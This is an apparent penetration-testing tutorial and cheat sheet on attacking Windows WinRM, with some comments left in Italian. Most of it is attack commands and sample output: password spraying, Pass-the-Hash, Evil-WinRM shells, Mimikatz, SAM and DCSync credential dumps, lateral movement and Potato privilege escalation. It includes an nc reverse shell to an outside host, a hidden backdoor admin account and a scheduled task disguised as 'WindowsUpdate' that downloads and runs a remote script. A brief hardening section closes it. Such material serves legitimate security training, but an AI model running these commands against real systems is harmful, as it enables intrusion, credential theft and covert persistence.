Port 5985 WinRM: Evil-WinRM, Pass-the-Hash, and PowerShell Remoting

Port 5985 exposes WinRM over HTTP, the Microsoft service used by PowerShell Remoting. Learn about enumeration, access with Evil-WinRM, Pass-the-Hash, lateral movement, and hardening in Active Directory environments.
- Posted on 2026-03-11
- Reading time: 5 min
WinRM (Windows Remote Management) is Microsoft's implementation of the WS-Management protocol for remote administration. It listens on TCP port 5985 (HTTP) and port 5986 (HTTPS). In penetration testing of Active Directory environments, WinRM is often the most important port after SMB : it allows remote execution of PowerShell commands, supports Pass-the-Hash for authentication without clear text passwords, and, unlike RDP , is a non-interactive shell that does not disturb the user logged on to the desktop—perfect for stealth operations. Evil-WinRM, the most widely used tool for accessing WinRM, has become a de facto standard in OSCP methodology and red team engagements.
WinRM is enabled by default on Windows Server 2012+ and is often enabled on clients via Group Policy. In a typical Active Directory domain, almost all machines respond to 5985.
How WinRM Works #
Attacker Target Windows (:5985)
┌──────────────┐ ┌──────────────────────────┐
│ Evil-WinRM │ │ WinRM Service │
│ CrackMapExec │── HTTP/SOAP ────►│ ├── PowerShell Remoting │
│ PowerShell │ │ ├── Esegui comandi │
│ │ ◄── risultati ── │ ├── Upload/Download │
│ │ │ └── Accesso filesystem │
└──────────────┘ └──────────────────────────┘WinRM uses the SOAP protocol over HTTP (port 5985) or HTTPS (port 5986). Authentication supports: Negotiate (NTLM/ Kerberos ), Basic, Certificate, and CredSSP. In an AD domain, authentication is typically NTLM or Kerberos—and NTLM means Pass-the-Hash works.
Who can connect via WinRM? #
By default, only members of these groups can use WinRM:
- Administrators (local or domain)
- Remote Management Users
1. Enumeration #
Nmap #
nmap -sV -p 5985,5986 10.10.10.40PORT STATE SERVICE VERSION
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0Check WinRM active #
# Test con curl
curl -s http://10.10.10.40:5985/wsman -IHTTP/1.1 405 Method Not Allowed
Server: Microsoft-HTTPAPI/2.0405 Method Not Allowed → WinRM is active (it would respond 404 if not installed).
CrackMapExec #
crackmapexec winrm 10.10.10.40WINRM 10.10.10.40 5985 DC-01 [*] http://10.10.10.40:5985/wsmanConfirm WinRM active and reveal hostname (DC-01).
2. Credential Attack #
Password spray with CrackMapExec o NetExec #
# Singolo utente
crackmapexec winrm 10.10.10.40 -u administrator -p 'Corp2025!'WINRM 10.10.10.40 5985 DC-01 [+] CORP\administrator:Corp2025! (Pwn3d!)(Pwn3d!) → valid credentials And the user has allowed WinRM.
# Password spray su più utenti
crackmapexec winrm 10.10.10.40 -u users.txt -p 'Corp2025!' --continue-on-success# Con lista di password
crackmapexec winrm 10.10.10.40 -u users.txt -p passwords.txt --no-bruteforce
# --no-bruteforce: testa user1:pass1, user2:pass2 (non tutte le combinazioni)Pass-the-Hash (without cleartext password) #
If you have an NTLM hash (from Mimikatz , DCSync , SAM dump, or responder ):
crackmapexec winrm 10.10.10.40 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4'WINRM 10.10.10.40 5985 DC-01 [+] CORP\administrator:32ed87bdb5fdc5e9cba88547376818d4 (Pwn3d!)Pass-the-Hash works on WinRM —there's no need to crack the hash. This is why WinRM is so critical: a single NTLM hash grants access to all machines where that user is admin.
Spray across the entire subnet #
crackmapexec winrm 10.10.10.0/24 -u administrator -H 'HASH' --continue-on-successWINRM 10.10.10.40 5985 DC-01 [+] CORP\administrator (Pwn3d!)
WINRM 10.10.10.41 5985 WEB-01 [+] CORP\administrator (Pwn3d!)
WINRM 10.10.10.42 5985 DB-01 [+] CORP\administrator (Pwn3d!)
WINRM 10.10.10.43 5985 FILE-01 [-] CORP\administrator ACCESS_DENIEDThree machines compromised with a single hash.
3. Evil-WinRM — Interactive Shell #
Evil-WinRM is the standard tool for getting a PowerShell shell via WinRM.
Password connection #
evil-winrm -i 10.10.10.40 -u administrator -p 'Corp2025!'Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>Hashed connection (Pass-the-Hash) #
evil-winrm -i 10.10.10.40 -u administrator -H '32ed87bdb5fdc5e9cba88547376818d4'Connecting with Kerberos ticket #
export KRB5CCNAME=/tmp/administrator.ccache
evil-winrm -i DC-01.corp.local -r corp.localEvil-WinRM Features #
# Upload file
*Evil-WinRM* PS> upload /opt/tools/mimikatz.exe C:\Windows\Temp\mimikatz.exe
# Download file
*Evil-WinRM* PS> download C:\Users\Administrator\Desktop\flag.txt /tmp/flag.txt
# Carica script PowerShell in memoria (fileless)
*Evil-WinRM* PS> menu
*Evil-WinRM* PS> Invoke-Binary /opt/tools/SharpHound.exe# Evil-WinRM con directory di script PS1
evil-winrm -i 10.10.10.40 -u admin -p 'pass' -s /opt/ps_scripts/# Carica ed esegui script dalla directory
*Evil-WinRM* PS> PowerView.ps1
*Evil-WinRM* PS> Get-DomainUser -Identity admin4. Post-Exploitation #
Initial enumeration #
# Chi sono
whoami /all
# Hostname e dominio
hostname
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Domain"
# Utenti locali
net user
# Gruppi di cui faccio parte
net user administrator
# Utenti del dominio
net user /domain
# Domain admins
net group "Domain Admins" /domainMimikatz via Evil-WinRM #
# Upload Mimikatz
*Evil-WinRM* PS> upload /opt/tools/mimikatz.exe C:\Windows\Temp\m.exe
# Esegui
*Evil-WinRM* PS> C:\Windows\Temp\m.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"Authentication Id : 0 ; 12345678 (00000000:00bc614e)
Session : Interactive from 1
User Name : svc_backup
Domain : CORP
NTLM : 8846f7eaee8fb117ad06bdd830b7586cNTLM hash of svc_backup → test on all machines via WinRM.
For the complete guide: Mimikatz and DCSync.
SAM dump (local credentials) #
# Salva i registry hive
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system
# Download
*Evil-WinRM* PS> download C:\Windows\Temp\sam /tmp/sam
*Evil-WinRM* PS> download C:\Windows\Temp\system /tmp/system# Estrai hash con secretsdump (da Kali)
impacket-secretsdump -sam sam -system system LOCALAdministrator:500:aad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
Guest:501:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc_backup:1001:aad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::DCSync (if you are Domain Admin) #
# Da Evil-WinRM con Mimikatz
C:\Windows\Temp\m.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" "exit"With the hash of krbtgt → Golden Ticket
→ permanent access to the domain.
BloodHound collection #
# SharpHound (collector)
*Evil-WinRM* PS> upload /opt/tools/SharpHound.exe C:\Windows\Temp\sh.exe
*Evil-WinRM* PS> C:\Windows\Temp\sh.exe -c all --zipfilename data.zip
*Evil-WinRM* PS> download C:\Windows\Temp\*_data.zip /tmp/Import into BloodHound → view escalation paths to Domain Admin.
5. Lateral Movement via WinRM #
From machine to machine #
# Dalla tua Kali → ogni macchina dove l'utente è admin
evil-winrm -i 10.10.10.41 -u svc_backup -H '8846f7eaee8fb117ad06bdd830b7586c'From the Evil-WinRM session to another machine #
# PowerShell remoting nativo (da dentro la sessione)
$sess = New-PSSession -ComputerName WEB-01 -Credential (Get-Credential)
Invoke-Command -Session $sess -ScriptBlock { whoami; hostname }WinRM chain: Kali → DC → Internal Server #
# Se il server interno non è raggiungibile direttamente
# Usa il DC come pivot
evil-winrm -i DC-01 ...# Dal DC, connettiti al server interno
Enter-PSSession -ComputerName DB-INTERNAL-01 -Credential $credMassive command execution #
# CrackMapExec per eseguire un comando su TUTTE le macchine
crackmapexec winrm 10.10.10.0/24 -u admin -H HASH -x "whoami"
crackmapexec winrm 10.10.10.0/24 -u admin -H HASH -X "Get-Process" # PowerShell6. Privilege Escalation #
From WinRM user to Administrator/SYSTEM #
If you have WinRM access as a normal user (member of Remote Management Users but not admin):
# Verifica privilegi
whoami /priv
# Cerca privilege escalation
*Evil-WinRM* PS> upload /opt/tools/winPEAS.exe C:\Windows\Temp\wp.exe
*Evil-WinRM* PS> C:\Windows\Temp\wp.exeExploitable common privilege tokens #
# SeImpersonatePrivilege → Potato attacks
whoami /priv | findstr "SeImpersonate"If present SeImpersonatePrivilege (common for service accounts):
# Upload e esegui JuicyPotatoNG / GodPotato / PrintSpoofer
*Evil-WinRM* PS> upload /opt/tools/GodPotato.exe C:\Windows\Temp\gp.exe
*Evil-WinRM* PS> C:\Windows\Temp\gp.exe -cmd "cmd /c whoami"
# NT AUTHORITY\SYSTEM# PrintSpoofer (più semplice, Windows 10/Server 2019)
*Evil-WinRM* PS> upload /opt/tools/PrintSpoofer64.exe C:\Windows\Temp\ps.exe
*Evil-WinRM* PS> C:\Windows\Temp\ps.exe -c "C:\Windows\Temp\nc.exe 10.10.10.200 4444 -e cmd"SeBackupPrivilege → Dump SAM/NTDS #
# Se hai SeBackupPrivilege (es: utente svc_backup)
# Puoi leggere qualsiasi file del sistema
# Dump NTDS.dit (database Active Directory)
*Evil-WinRM* PS> mkdir C:\Windows\Temp\backup
*Evil-WinRM* PS> reg save HKLM\SYSTEM C:\Windows\Temp\backup\system
*Evil-WinRM* PS> upload /opt/tools/DiskShadow_script.txt
# DiskShadow per copiare NTDS.dit7. Persistence #
Create backdoor user with WinRM access #
# Crea utente nascosto ($ nel nome lo nasconde da "net user")
net user backdoor$ B4ckD00r_2025! /add
net localgroup "Remote Management Users" backdoor$ /add
net localgroup "Administrators" backdoor$ /addScheduled Task for reverse shell #
schtasks /create /tn "WindowsUpdate" /tr "powershell -ep bypass -nop -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.200/rev.ps1')" /sc hourly /ru SYSTEM8. Detection & Hardening #
- Disable WinRM where not needed
Disable-PSRemoting -Force - Use HTTPS only (5986) — not clear HTTP on 5985
- Restrict groups — only strictly necessary users
Remote Management Users - JEA (Just Enough Administration) — limits PowerShell commands available via WinRM
- Firewall — port 5985/5986 from admin jump host only
- Monitor Event ID 4624 (Type 3 and 10) for WinRM login, Event ID 4688 for created processes
- Credential Guard — prevents hash extraction from LSASS
- LAPS — unique local passwords for each machine
- PowerShell Audit — enable Script Block Logging and Transcription
Event ID key #
| Event ID | Log | Meaning |
|---|---|---|
| 4624 (Type 3) | Security | WinRM login successful |
| 4625 | Security | Login failed (brute force) |
| 91 | Microsoft-Windows-WinRM | WinRM session created |
| 4688 | Security | Process created (commands executed) |
| 4104 | PowerShell | Script Block Logging (command content) |
9. Final Cheat Sheet #
| Action | Command |
|---|---|
| Nmap | nmap -sV -p 5985,5986 target |
| CME check | crackmapexec winrm target |
| CME password | crackmapexec winrm target -u user -p pass |
| CME PtH | crackmapexec winrm target -u user -H hash |
| CME spray | crackmapexec winrm subnet -u users.txt -p 'Pass!' --continue-on-success |
| Evil-WinRM pwd | evil-winrm -i target -u user -p pass |
| Evil-WinRM hash | evil-winrm -i target -u user -H hash |
| Upload | upload local_file remote_path (in Evil-WinRM) |
| Download | download remote_path local_path |
| Mimikatz | upload mimikatz.exe → execute |
| SAM dump | reg save HKLM\SAM + reg save HKLM\SYSTEM |
| DCSync | mimikatz "lsadump::dcsync /domain:X /user:krbtgt" |
| Massive Exec | crackmapexec winrm subnet -u user -H hash -x "command" |
Reference: Microsoft WinRM documentation, Evil-WinRM, HackTricks WinRM, OSCP methodology. For use in authorized environments only. https://www.pentestpad.com/port-exploit/port-59855986-winrm-windows-remote-management








